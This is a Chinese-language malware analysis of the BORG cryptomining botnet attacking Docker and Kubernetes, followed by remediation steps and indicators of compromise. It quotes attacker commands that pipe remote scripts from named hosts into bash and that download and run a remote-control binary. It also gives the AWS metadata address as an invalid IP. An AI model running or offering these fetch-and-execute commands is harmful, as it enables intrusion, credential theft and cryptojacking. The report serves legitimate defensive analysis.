作者:2021-01-11阅读次数:18210评论:0
公布时间:一、事件概述
近日,宙斯盾流量安全分析团队发现大量针对Docker、Kubernetes等服务的异常扫描流量,我们对此深入分析发现,一个专门针对容器虚拟化服务的僵尸网络浮出水面,因其在文件中大量使用BORG字符串,我们将其命名为BORG僵尸网络。
该攻击者脱胎于早前的TeamTNT团伙,但是在当前的攻击中启用了全新的域名和IP,只有在部分较早期的恶意文件中访问了TeamTNT相关的域名。此外比较重要的一点是攻击者在攻击工具箱中编译和打包了大量来自开源社区的攻击或控制组件,其能力也较之前也有了很大的进化,攻击者不再满足于入侵之后植入挖矿木马牟利,而是在入侵之后开始对内网中的其他机器进行探测和入侵,并批量控制这些机器。基于此,我们有理由相信这是一个正处于开发中的、快速进化的僵尸网络。
二、事件分析
由于BORG僵尸网络在进行快速迭代,所以本文将采用时间线来进行分析,能够更加清晰的描绘该僵尸网络的进化方向和技术更新。
1. 初出茅庐
在2020年12月28日,宙斯盾流量安全分析团队第一次捕获了针对该僵尸网络针对Docker的攻击,部分Payload如下:
此时该僵尸网络传播的脚本是aws.sh,如下图所示:
该aws.sh脚本的主要功能是通过AWS元数据服务来获取被控主机的安全凭证。其中169.254.269.254是AWS的元数据服务的地址,可以通过该服务来在EC2实例中获取相关信息,这里攻击者获取的是与该被控实例相关的IAM角色信息,其中包含了与该角色关联的临时安全凭证。
同时,如果环境变量中存在“$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI”变量,则可来查询凭据,这部分详情见AWS文档 (附录1)
在获取到安全凭证后,攻击者会检查curl命令可用性,如果不可用则会下载curl程序,然后通过curl将数据传输到指定的地址上,完成了安全凭证窃取的流程,并且对相关记录进行了清除。
可以看出最初版本的恶意脚本功能简单,并没有留存后门等,只是窃取了相关安全凭证,在这个阶段,并不能称之为一个僵尸网络。我们分析发现,该版本与去年8月份安全社区发现的恶意文件相比基本无变化,而该团伙也因第一个针对AWS凭证进行窃取而名声大噪。
2. 小幅更新
在2021年1月1日,宙斯盾流量安全分析团队捕获到了该僵尸网络的第一次进化,攻击Payload如下所示:
可以看出不仅对窃取脚本进行了升级,还下载并运行了了一个可执行程序rsMPpayload。
首先来看aws2.sh这个恶意脚本,通过分析发现并没有进行大的变化,只是添加了两处过滤操作,将与key相关的数据过滤出来进行上传。
接下来看rsMPpayload这个可执行程序,仅有251字节,主要功能是连接一个硬编码的IP(13.82.212.245),目前该IP已经无法连接,但是可以看做是该攻击者在有意的向着僵尸网络的控制结构去发展。
3. 渐入佳境
该僵尸网络在短期内的攻击Payload和入侵后行为的多次变化引起了我们的注意,随即我们进行了重点监控,在2021年的1月6日发现了新的变化,首次捕获到了请求http: //45.9.150.36/t.sh的流量,t.sh是全新的恶意脚本,如下所示(省略了download函数,该函数无变化):
可以看出,该脚本并不是针对aws机器进行安全凭据,而是变得更加的通用。攻击者在脚本中添加了了通过tmate (附录2)程序进行集中控制的相关代码,基本逻辑是获取服务器内存、CPU、系统等信息,生成session字符串,然后通过脚本硬编码的IP[45.9.150.36]下载对应tmate程序和证书。
然后运行tmate程序,使用下载的证书和session字符串作为参数进行上线。其中session字符串的格式为Base64_encode(IP)+XXXXXXXX+随机数字。最后通过HTTP请求上报相关服务器信息。
此时,攻击者可以通过tmate服务来针对该僵尸主机进行管理,已经形成了僵尸网络的控制结构。攻击者在被控机上线后并没有第一时间执行相关的命令,而是在经过24小时的等待后,才下发其他命令,“curl -s http://45.9.150.36/pwn/lan.sh | bash”。
在lan.sh脚本中,主要做了两件事情,首先是安装masscan:
然后通过masscan针对内网的网段进行扫描,判断是否存在开放的"2375"、"2376" 、"4243"、"8181"、"6379"、"10250",并将结果保存下来,如果找到了开放的10250,然后进行攻击,目前捕获的样本中,攻击者只对10250端口进行了攻击,可以看出这只是个半成品,后续可能会添加针对上述扫描的非10250端口的攻击函数。
针对10250端口的攻击主要目的下载挖矿脚本来进行挖矿。
除了这个命令之外,攻击者还通过tmate下发了“curl -s
http://45.9.150.36/outgoing/script_files/xmr3.assi | bash”挖矿命令。
之后攻击者还下发了“curl -# -Lk "https://teamtnt.red/set/up/pei.php?dlmode=curl" | bash ”指令和“curl -# -Lk "https://teamtnt.red/set/up/bob.php?dlmode=curl" | bash”,通过这两个脚本来下载恶意程序,针对内网的http、sockets、docker、k8s等服务进行了攻击。
通过对“https://teamtnt.red/set/up/pei.php?dlmode=curl”下载的恶意程序pei进行分析,可以判断是Peirates开源工具(附录3),Peirates是Kubernetes的渗透测试工具,专注于特权提升和横向移动。
通过对“https://teamtnt.red/set/up/ bob.php?dlmode=curl”下载的恶意程序bob进行分析,可以判断是botb (附录4) 开源工具,BOtB是一款容器分析和发现工具,旨在供渗透测试人员和工程师使用。关于这两款工具的使用可以查看其文档。
最后攻击者执行“wget --no-check-certificate https://3.104.106.52:5000/api/monkey/download/monkey-linux-64; chmod +x monkey-linux-64; ./monkey-linux-64 m0nk3y -s 3.104.106.52:5000“,通过下载Infection Monkey (附录5) 程序来进行进一步的权限维持和横向移动。
Infection Monkey是一款开源的安全工具,本意是用来测试数据中心对外围漏洞和内部服务器感染的恢复能力,Monkey使用各种方法在数据中心内进行自我传播,并向集中的Monkey Island服务器报告成功情况。攻击者通过Infection Monkey来实现了远程控制和后续攻击步骤。
三、获利分析
通过对该僵尸网络所使用的挖矿程序进行逆向,分析出其使用的是开源挖矿工具xmrig (附录6)。
通过分析可以获取到该挖矿程序的配置文件,所挖掘的币种是门罗币,通过搜索可以看出该地址下存在4个Worker,已经产出了10+个门罗币。目前该地址的总算力在23KH/s,根据i5 2300具有175H/s的挖矿算力推算,目前该僵尸网络的挖矿算力相当于1300+台i5 2300机器的挖矿算力。
四、总结
通过针对BORG僵尸网络的发展梳理,可以看出这是一个在不断优化攻击载荷和控制结构的僵尸网络。不难发现,攻击者在构建一个完整的僵尸网络时并不是一蹴而就的,而是会不断的进行更新迭代。同时,该僵尸网络的一大特点是大量的使用了针对虚拟化平台进行攻击的开源工具,并且在控制僵尸主机时大量使用公共开源组件,从而加大了检测难度。
五、处置建议
1. 该僵尸网络主要通过Docker、k8s等组件未授权漏洞进行传播,请针对这类组件进行安全加固,添加安全验证。
2. 检查是否存在"/var/tmp/.../...BORG..."、"/dev/shm/.../...BORG..."目录和非业务使用的tmate进程,如果存在请及时清除。
3. 检查 "/usr/local/lib/curl.so","/usr/local/lib/awk.so","/usr/local/lib/bash.so","/usr/local/lib/cat.so","/usr/local/lib/grep.so","/usr/sbin/zgrab","/usr/sbin/zgrab.so","/usr/sbin/jq","/usr/sbin/jq.so"等文件是否存在或者被修改。
4. 检查是否存在CPU占用异常进程和名为xmrig、monkey的进程。
相关IOC
C&C
the[.]borg[.]wtf
borg[.]wtf
teamtnt[.]red
projectbluebeam[.]anondns[.]net
45[.]9.150.36
45[.]9.148.108
3[.]104.106.52
捐款成功,感谢您的无私奉献
评论留言